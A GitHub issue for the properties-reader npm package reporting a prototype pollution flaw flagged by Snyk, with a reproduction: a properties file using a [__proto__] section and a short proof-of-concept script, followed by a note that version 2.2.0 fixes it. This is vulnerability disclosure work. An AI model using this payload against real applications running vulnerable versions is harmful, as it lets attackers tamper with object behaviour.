Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Snyk - potential prototype pollution #40

Closed
steveukx opened this issue Dec 30, 2020 · 1 comment
Closed

Snyk - potential prototype pollution #40

steveukx opened this issue Dec 30, 2020 · 1 comment

Comments

@steveukx
Copy link
Owner

Steps to reproduce:

payload.properties

[__proto__]
polluted = polluted

poc.js:

var propertiesReader = require('properties-reader');

propertiesReader('./payload.properties');

console.log({}.polluted) // logs 'polluted'
@steveukx
Copy link
Owner Author

Fix released as 2.2.0 on npm

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

1 participant